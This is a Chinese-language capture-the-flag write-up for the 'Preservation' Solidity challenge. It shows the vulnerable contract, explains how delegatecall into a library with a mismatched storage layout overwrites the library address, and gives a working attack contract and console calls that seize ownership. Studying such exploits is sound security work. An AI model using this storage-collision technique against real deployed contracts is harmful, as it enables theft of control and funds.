Skip to main content

Preservation

题目源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {

// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}

// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}

// Simple library contract to set the time
contract LibraryContract {

// stores a timestamp
uint storedTime;

function setTime(uint _time) public {
storedTime = _time;
}
}

题目要求

这个题目的要求是要获取合约的owner权限

题目分析

这道题目主要是考察delegatecall相关,入手点也是从delegatecall开始。A 合约通过delegatecall调用 B 合约时有以下几个注意点

  1. 如果涉及到状态变量修改,都是修改的 A 合约的状态变量。B 合约只是负责逻辑
  2. B 合约的状态变量的书写顺序要和 A 合约严格保持一致,否则slot对应的变量会不一致
  3. B 合约的msg.sender即 A 合约的调用者

这个题目中两个setTime(uint256)都是通过delegatecall来执行的,但是LibraryContract中的状态变量没有与Preservation保持一致。也就是两个setTime方法都是在修改slot0的位置,也就是Preservation合约中的timeZone1Library。所以,我们编写一个代理合约,然后将timeZone1Library设置成我们自己的代理合约。在代理合约中实现setTime的方法,这样下次调用setFirstTime方法时,其实就是调用我们攻击合约的setTime方法

攻击步骤

  1. 编写攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;

contract PreservationDelegationAttack {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
function setTime(uint256 _time) external {
storedTime = _time;
owner = msg.sender;
}
}

部署后得到合约地址: 0x1A5Debd73D4F0Bb7A3D4B53fe117bf6f12f2140B

  1. 通过调用setFirstTime,将我们自己的攻击合约作为入参,替换timeZone1Library
await contract.setFirstTime("0x1A5Debd73D4F0Bb7A3D4B53fe117bf6f12f2140B")
  1. 再次调用setFirstTime方法,这时候其实就调用到了我们编写的代理合约方法
// 这里传参随便传一个数字即可
await contract.setFirstTime(234234)